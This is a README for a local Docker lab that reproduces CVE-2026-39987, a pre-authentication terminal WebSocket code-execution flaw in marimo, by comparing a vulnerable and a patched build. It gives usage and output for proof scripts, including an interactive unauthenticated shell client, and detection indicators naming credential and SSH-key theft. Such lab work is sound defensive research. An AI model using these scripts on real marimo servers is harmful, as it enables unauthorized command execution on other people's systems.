## https://sploitus.com/exploit?id=C4018EE9-1433-5092-AC19-CF08ED3E03E4
# CVE-2026-39987 โ marimo Pre-Auth Terminal WebSocket RCE Lab
> Local-only Docker lab for reproducing and understanding CVE-2026-39987 in marimo.
> This project compares a vulnerable marimo service with a patched marimo service side-by-side, then demonstrates the difference using a least-harm proof script.
---
## Executive Summary
CVE-2026-39987 is a critical pre-authentication remote code execution vulnerability in **marimo**, a reactive Python notebook framework.
The vulnerable behavior exists in the terminal WebSocket endpoint:
```text
/terminal/ws
```
In affected versions, this endpoint can be reached without valid authentication and can create an interactive terminal session. An unauthenticated attacker who can reach a vulnerable marimo edit server may execute commands with the privileges of the marimo process.
This lab reproduces the vulnerability in a controlled local Docker environment:
| Service | Version | URL | Expected behavior |
| --------- | --------------: | ----------------------- | -------------------------------------------------------------------------------- |
| `vuln` | marimo `0.20.4` | `http://127.0.0.1:8081` | `/terminal/ws` accepts unauthenticated WebSocket connection |
| `patched` | marimo `0.23.0` | `http://127.0.0.1:8082` | `/terminal/ws` rejects unauthenticated WebSocket connection with `403 Forbidden` |
The goal is not to provide a weaponized exploit. The goal is to show the observable security difference between vulnerable and patched versions using local-only, reproducible evidence.
---
## Vulnerability Overview
### Affected component
The affected component is marimo's terminal WebSocket endpoint:
```text
/terminal/ws
```
This endpoint is used by marimo's edit environment to provide terminal functionality through a browser-connected WebSocket session.
### Root cause
The vulnerable endpoint accepted WebSocket connections without enforcing the same authentication checks expected for protected marimo edit functionality.
The important difference is:
```text
vulnerable behavior:
unauthenticated client can connect to /terminal/ws
terminal session is created
commands can be sent through the WebSocket
patched behavior:
unauthenticated client is rejected
WebSocket handshake fails with 403 Forbidden
terminal session is not created
```
The patch adds authentication validation to the terminal WebSocket flow before allowing a terminal session to be established.
### Impact
If a vulnerable marimo edit server is exposed to a reachable network, an unauthenticated attacker may execute commands as the user running the marimo process.
In this lab, the marimo process is intentionally run as a low-privilege non-root user:
```text
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
```
This keeps the demonstration safer while still proving the vulnerability.
---
## Lab Goals
This lab is designed to prove three things:
1. The vulnerable version accepts unauthenticated WebSocket connections to `/terminal/ws`.
2. A benign command can be executed through that unauthenticated terminal WebSocket.
3. The patched version rejects the same unauthenticated WebSocket attempt with `403 Forbidden`.
The lab intentionally avoids destructive commands, persistence, reverse shells, credential dumping, or any internet-facing target.
---
## Repository Structure
```text
.
โโโ docker-compose.yml
โโโ vuln/
โ โโโ Dockerfile
โ โโโ notebook.py
โโโ patched/
โ โโโ Dockerfile
โ โโโ notebook.py
โโโ poc/
โ โโโ poc.py
โ โโโ rce_poc.py
โ โโโ requirements.txt
โโโ SAFETY.md
โโโ README.md
โโโ .gitignore
```
### Important files
| File | Purpose |
| ---------------------- | -------------------------------------------------------------------------- |
| `docker-compose.yml` | Defines vulnerable and patched marimo services |
| `vuln/Dockerfile` | Builds the vulnerable marimo service |
| `patched/Dockerfile` | Builds the patched marimo service |
| `vuln/notebook.py` | Minimal marimo notebook file used by the vulnerable service |
| `patched/notebook.py` | Minimal marimo notebook file used by the patched service |
| `poc/poc.py` | Least-harm proof script that runs benign commands only |
| `poc/rce_poc.py` | Real-time learning client for observing terminal behavior in the local lab |
| `poc/requirements.txt` | Python dependencies for PoC scripts |
| `SAFETY.md` | Safety rules and scope boundaries |
---
## Lab Architecture
```text
Host machine
127.0.0.1:8081 โโโโโโบ vuln container
marimo 0.20.4
/terminal/ws accepts unauthenticated WebSocket
127.0.0.1:8082 โโโโโโบ patched container
marimo 0.23.0
/terminal/ws rejects unauthenticated WebSocket
```
Both services expose marimo's internal port `2718`, but the host ports are different:
```text
vuln -> 127.0.0.1:8081
patched -> 127.0.0.1:8082
```
The services are bound to `127.0.0.1` only. They are not intended to be exposed to a LAN or the internet.
---
## Docker Hardening Notes
The containers are configured with several guardrails where possible:
```text
- bind ports to 127.0.0.1 only
- run as a non-root user
- drop Linux capabilities
- enable no-new-privileges
- use a read-only root filesystem
- provide only limited tmpfs write locations
- isolate services inside a dedicated Docker bridge network
```
These controls do not remove the vulnerability from the vulnerable service. They reduce the blast radius of the local demonstration.
---
## Prerequisites
Tested assumptions:
```text
- Linux x86_64 or macOS with Docker Desktop
- Docker Compose v2
- Python 3.9+
- Localhost-only testing
```
Required tools:
```bash
docker --version
docker compose version
python3 --version
```
---
## Setup
Clone or enter the project directory:
```bash
cd cve-2026-39987
```
Build and start both services:
```bash
docker compose up -d --build
```
Check that both containers are running:
```bash
docker compose ps
```
Expected services:
```text
cve-2026-39987-vuln
cve-2026-39987-patched
```
---
## Verify Versions
Check the vulnerable service version:
```bash
docker compose exec vuln marimo --version
```
Expected:
```text
0.20.4
```
Check the patched service version:
```bash
docker compose exec patched marimo --version
```
Expected:
```text
0.23.0
```
---
## Install PoC Dependencies
Create a Python virtual environment:
```bash
python3 -m venv .venv
source .venv/bin/activate
```
Install dependencies:
```bash
python -m pip install -r poc/requirements.txt
```
---
## Least-Harm PoC
The primary proof script is:
```text
poc/poc.py
```
It attempts to connect to:
```text
/terminal/ws
```
Then it sends only benign proof commands:
```bash
id
whoami
hostname
```
No reverse shell, file write, persistence, credential access, or destructive command is used.
### Test vulnerable service
Run:
```bash
python poc/poc.py --base-url http://127.0.0.1:8081
```
Expected result:
```text
[*] Target WebSocket: ws://127.0.0.1:8081/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[+] websocket connected without credentials
[result] VULNERABLE: unauthenticated command execution observed
[proof]
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
```
If the script prints raw terminal output but includes this block, the vulnerability is still confirmed:
```text
CVE39987_PROOF_START
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
marimo
CVE39987_PROOF_END
```
That means the WebSocket connection succeeded and the command output came back from the terminal session.
### Test patched service
Run:
```bash
python poc/poc.py --base-url http://127.0.0.1:8082
```
Expected result:
```text
[*] Target WebSocket: ws://127.0.0.1:8082/terminal/ws
[*] Sending benign proof command only: id; whoami; hostname
[-] websocket connection rejected/failed: Handshake status 403 Forbidden
[result] not exploitable by this unauthenticated check
```
This shows the patched service rejects unauthenticated access before creating a terminal session.
---
## Real-Time Learning Client
The file below is intended for local learning only:
```text
poc/rce_poc.py
```
It demonstrates the same issue in a more real-time way by connecting to the vulnerable terminal WebSocket and allowing terminal interaction.
Use this only against the local Docker lab.
### Run against vulnerable service
```bash
python poc/rce_poc.py --base-url http://127.0.0.1:8081
```
Expected behavior:
```text
[+] Connected successfully (Pre-Auth RCE)
โ Interactive shell is ready to use!
```
Safe commands to try:
```bash
id
whoami
hostname
pwd
python -c 'import marimo; print(marimo.__version__)'
exit
```
### Run against patched service
```bash
python poc/rce_poc.py --base-url http://127.0.0.1:8082
```
Expected behavior:
```text
[-] Connection Failed: 403 Forbidden
[!] This is likely the PATCHED version.
The WebSocket endpoint is now protected.
```
### Safety note for real-time mode
The real-time client exists to help understand how the vulnerable WebSocket behaves. It should not be used against any system outside this local lab.
For portfolio publication, the recommended primary evidence is still `poc/poc.py`, because it is bounded, repeatable, and least-harm.
---
## Expected Security Difference
The main lab result should be summarized as:
```text
vuln / marimo 0.20.4:
unauthenticated WebSocket handshake to /terminal/ws succeeds
benign command output is observable
patched / marimo 0.23.0:
unauthenticated WebSocket handshake to /terminal/ws fails
server returns 403 Forbidden
no terminal session is created
```
This is the core proof for the CVE reproduction.
---
## Manual WebSocket Check
If you want to manually inspect the behavior, use a WebSocket-capable client and connect to:
```text
ws://127.0.0.1:8081/terminal/ws
ws://127.0.0.1:8082/terminal/ws
```
Expected:
```text
8081 -> connection accepted
8082 -> 403 Forbidden
```
The PoC scripts are preferred because they produce clearer evidence.
---
## Detection and Monitoring Ideas
In a real environment, useful indicators include:
```text
- WebSocket requests to /terminal/ws
- unauthenticated access attempts to marimo edit servers
- unexpected terminal sessions spawned by marimo
- commands launched by the marimo process
- access to .env, SSH keys, cloud credentials, or notebook secrets
- outbound network traffic shortly after /terminal/ws connections
```
Example local artifacts to inspect:
```bash
docker compose logs vuln
docker compose logs patched
docker compose ps
docker compose exec vuln ps aux
```
---
## Cleanup
Stop and remove containers:
```bash
docker compose down
```
Remove volumes as well:
```bash
docker compose down -v
```
Remove local Python virtual environment if desired:
```bash
rm -rf .venv
```
---
## Safety Rules
This repository is for local security research and portfolio demonstration only.
Allowed:
```text
- localhost testing
- Docker-only reproduction
- benign proof commands such as id, whoami, hostname
- comparing vulnerable and patched behavior
- documenting root cause and detection ideas
```
Not allowed:
```text
- testing against public marimo servers
- testing systems you do not own or administer
- reverse shells
- persistence
- credential theft
- destructive commands
- lateral movement
- botnet or malware behavior
```
---
## Disclaimer
This project is intended only for authorized local testing and defensive security education. Do not use these scripts against systems you do not own or have explicit permission to test.
---
## References
* GitHub Security Advisory โ GHSA-2679-6mx9-h9xc:
https://github.com/advisories/GHSA-2679-6mx9-h9xc
* NVD โ CVE-2026-39987:
https://nvd.nist.gov/vuln/detail/CVE-2026-39987
* marimo upstream repository:
https://github.com/marimo-team/marimo
* Patch commit โ add authentication validation to terminal WebSocket:
https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
* Patch PR โ marimo PR #9098:
https://github.com/marimo-team/marimo/pull/9098